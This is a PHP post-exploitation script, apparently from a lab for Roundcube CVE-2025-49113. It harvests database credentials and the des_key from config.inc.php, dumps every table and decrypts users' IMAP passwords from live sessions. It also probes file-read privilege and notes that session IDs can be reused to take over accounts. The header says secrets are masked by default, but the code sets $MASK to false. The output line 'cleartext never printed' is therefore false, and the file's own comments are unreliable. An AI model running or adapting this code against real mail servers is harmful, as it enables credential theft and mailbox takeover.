<?php
/**
 * roundcube_db_dump_pdo.php
 * CVE-2025-49113 authorized-test lab - COMPLETE read-only Roundcube DB dump.
 *
 * The attacker path demonstrated (owner's test server only):
 *   1. www-data RCE (CVE-2025-49113) -> read config/config.inc.php
 *   2. config gives db_dsnw (MySQL credentials) AND des_key (session crypto)
 *   3. PDO connect from the web container to the db host (Docker network)
 *   4. enumerate + display EVERY table's data
 *   5. decode live session.vars (base64 "key|serialized" blobs) and decrypt
 *      IMAP passwords with des_key.  NOTE: Roundcube 1.4.x has NO
 *      users.password column - passwords ride inside session.vars.
 *
 * READ-ONLY: only SHOW / SELECT statements are issued.
 * Secrets MASKED by default ($MASK=true): DSN password, des_key, encrypted
 * blobs and decrypted passwords are never printed - alice's password is
 * verified with a MATCH oracle instead.  Set $MASK=false for an unmasked
 * lab-only run.
 *
 * Usage:
 *   php roundcube_db_dump_pdo.php                        (reads config)
 *   php roundcube_db_dump_pdo.php 'mysql://u:p@h:3306/db' [des_key]
 *      (argv override - handy for local testing; on the target the config
 *       path is the realistic attacker route, argv DSN is visible in ps)
 */

error_reporting(0);
@ini_set('display_errors', '0');

$MASK   = false;   // mask secrets in the output
$CELL   = 160;    // max chars printed per table cell
$ROWS   = 30;     // max rows printed per table
$SESS   = 10;     // session rows shown inside the table dump
$SESSPW = 18;     // max sessions decrypted in the credential section

function o($s) { echo $s, "\n"; }
function mask($s) {
    $s = (string)$s; $n = strlen($s);
    if ($n == 0) return '<empty>';
    if ($n <= 2) return str_repeat('*', $n);
    return $s[0] . str_repeat('*', $n - 2) . substr($s, -1) . " (len=$n)";
}
function trunc($s, $n) {
    $s = (string)$s;
    if (strlen($s) <= $n) return $s;
    return substr($s, 0, $n) . '~[+' . (strlen($s) - $n) . 'B]';
}

o('=== ROUNDCUBE DB DUMP VIA PDO (read-only, CVE-2025-49113 lab) ===');
o('PHP ' . PHP_VERSION . ' | ' . gmdate('c'));

// ---- 1. locate config + parse secrets --------------------------------------
$dsn = ''; $dkey = ''; $cipher = '';
if (isset($argv[1]) && strpos($argv[1], 'mysql://') === 0) {
    $dsn = $argv[1];
    if (isset($argv[2])) $dkey = $argv[2];
    o('CFG: (argv DSN override)');
} else {
    foreach (array('/var/www/html/config/config.inc.php_2021_04_06',
                   '/config/config.inc.php',
                   '/var/www/html/config/defaults.inc.php') as $p) {
        if (is_readable($p)) {
            $conf = file_get_contents($p);
            o("CFG: $p (" . strlen($conf) . " B)");
            if (preg_match("/db_dsnw'\]\s*=\s*'([^']+)'/", $conf, $dm)) $dsn = $dm[1];
            if (preg_match("/des_key'\]\s*=\s*'([^']+)'/", $conf, $km)) $dkey = $km[1];
            if (preg_match("/cipher_method'\]\s*=\s*'([^']+)'/", $conf, $cm)) $cipher = $cm[1];
            break;
        }
    }
}
if ($dsn === '') { o('ERR: no readable config / db_dsnw found'); exit(0); }
// ---- Parse MySQL DSN --------------------------------------------------------
if (!preg_match('~^mysql://(.+)$~', $dsn, $match)) {
    o('ERR: invalid MySQL DSN');
    exit(0);
}

$parts = substr($dsn, strlen('mysql://'));

// Find the LAST @ separating credentials from host
$at = strrpos($parts, '@');

if ($at === false) {
    o('ERR: missing DSN host separator');
    exit(0);
}

$credentials = substr($parts, 0, $at);
$server = substr($parts, $at + 1);

// Split username and password at the first colon
$colon = strpos($credentials, ':');

if ($colon === false) {
    o('ERR: invalid credentials');
    exit(0);
}

$u = substr($credentials, 0, $colon);
$pw = substr($credentials, $colon + 1);

// Parse hostname, port and database
if (!preg_match('~^([^:/]+)(?::(\d+))?/([^?]+)$~', $server, $d)) {
    o('ERR: cannot parse database host');
    exit(0);
}

$h = $d[1];
$pt = !empty($d[2]) ? $d[2] : '3306';
$dbn = $d[3];

o('DB HOST: ' . $h . ':' . $pt . '/' . $dbn);
o('DB USER: ' . $u);
o('PASSWORD LENGTH: ' . strlen($pw));

// ---- PDO connect ------------------------------------------------------------
try {
    $P = new PDO(
        "mysql:host=$h;port=$pt;dbname=$dbn;charset=utf8mb4",
        $u,
        $pw,
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_TIMEOUT => 8
        ]
    );
} catch (Throwable $e) {
    o('ERR-PDO: ' . $e->getMessage());
    exit(0);
}

o('PDO-OK');

// ---- 3. server info / grants / FILE-priv probe -------------------------------
try { o('SRV: ' . $P->query('SELECT VERSION()')->fetchColumn()
        . ' | connected as ' . $P->query('SELECT CURRENT_USER()')->fetchColumn()); }
catch (Throwable $e) { o('SRV: ? ' . $e->getMessage()); }
try { foreach ($P->query('SHOW GRANTS') as $r) o('GRANT: ' . array_values($r)[0]); }
catch (Throwable $e) { o('GRANT: ? ' . $e->getMessage()); }
try { o("FILE-priv probe LOAD_FILE('/etc/hostname'): "
        . var_export($P->query("SELECT LOAD_FILE('/etc/hostname')")->fetchColumn(), true)); }
catch (Throwable $e) { o('FILE-priv probe: ERR'); }
o('-- DATABASES visible --');
try { foreach ($P->query('SHOW DATABASES') as $r) o('  ' . array_values($r)[0]); }
catch (Throwable $e) { o('  SHOW DATABASES: ' . $e->getMessage()); }

// ---- 4. dump every table ------------------------------------------------------
$tables = array();
try { $tables = $P->query('SHOW TABLES')->fetchAll(PDO::FETCH_COLUMN); }
catch (Throwable $e) { o('SHOW TABLES: ' . $e->getMessage()); }
o('-- TABLES in ' . $dbn . ': ' . count($tables) . ' --');
$total = 0;
foreach ($tables as $t) {
    try {
        $cnt = (int)$P->query("SELECT COUNT(*) FROM `$t`")->fetchColumn();
        $total += $cnt;
        o('');
        o("== $t (rows=$cnt) ==");
        if ($cnt == 0) continue;
        $lim = ($t == 'session' || strpos($t, 'cache') === 0 || $t == 'filestore')
             ? min($ROWS, 8) : $ROWS;
        if ($t == 'session') $lim = $SESS;
        foreach ($P->query("SELECT * FROM `$t` LIMIT $lim") as $row) {
            $cells = array();
            foreach ($row as $k => $v) {
                $v = $v === null ? 'NULL' : (string)$v;
                $L = ($t == 'session') ? 48 : $CELL;
                if ($MASK && stripos($k, 'password') !== false && $v !== 'NULL') {
                    $v = mask($v) . ' [enc]';
                }
                $cells[] = "$k=" . trunc($v, $L);
            }
            o('  | ' . implode(' | ', $cells));
        }
        if ($cnt > $lim) o('  ... +' . ($cnt - $lim) . ' more rows not shown');
    } catch (Throwable $e) { o('  ERR dumping ' . $t . ': ' . $e->getMessage()); }
}
o("TOTAL ROWS ACROSS ALL TABLES: $total");

// ---- 5. live session credentials: decode vars + decrypt IMAP passwords -------
o('');
o('-- LIVE SESSION CREDENTIALS (session.vars = b64("key|serialized")) --');
try {
    $st = null;
    try { $st = $P->query('SELECT sess_id, ip, vars FROM session ORDER BY changed DESC LIMIT 120'); }
    catch (Throwable $e) { $st = $P->query('SELECT sess_id, ip, vars FROM session LIMIT 120'); }
    $shown = 0; $ok = 0; $fail = 0;
    foreach ($st as $r) {
        if ($shown >= $SESSPW) break;
        $raw = @base64_decode($r['vars'], true);
        if ($raw === false) $raw = $r['vars'];
        if (strpos($raw, 'password|') === false) continue;
        preg_match('/username\|s:\d+:"([^"]*)"/', $raw, $um);
        preg_match('/password\|s:(\d+):"([^"]*)"/', $raw, $pm);
        if (empty($pm)) continue;
        $user = isset($um[1]) ? $um[1] : '?';
        $blob = $pm[2];
        $dec = null;
        if ($dkey !== '' && strlen($blob) > 8) {
            $bin = @base64_decode($blob, true);
            if ($bin !== false && strlen($bin) > 8) {
                $cl = @openssl_decrypt(substr($bin, 8), $cipher, $dkey,
                                       OPENSSL_RAW_DATA, substr($bin, 0, 8));
                if (is_string($cl)) { $dec = rtrim($cl, "\0"); $ok++; }
            }
        }
        if ($dec === null) $fail++;
        $state = ($dec === null) ? 'DECRYPT-FAIL'
               : 'decrypt len=' . strlen($dec) . ($MASK ? ' (masked)' : ' => ' . $dec);
        if ($user === 'alice' || $user === 'alice@example.com')
            $state .= ($dec === 'Alice.2026!') ? ' MATCH=YES' : ' MATCH=NO';
        $sid = bin2hex(substr((string)$r['sess_id'], 0, 8));
        $ip  = preg_replace('/[^0-9a-fA-F.:]/', '', substr((string)$r['ip'], 0, 15));
        o("  sess $sid ip=$ip user=$user pw_b64_len=" . strlen($blob) . " $state");
        $shown++;
    }
    o("decrypted=$ok failed=$fail (cleartext never printed; alice verified via match oracle)");
    o('-- IMPLICATION: attacker with DB+des_key can take over ANY mail user --');
    o('   (a) decrypt their IMAP password from a live session, or');
    o('   (b) reuse a sess_id straight from this table as the Roundcube cookie');
} catch (Throwable $e) { o('session section: ' . $e->getMessage()); }

o('=== DUMP COMPLETE ===');
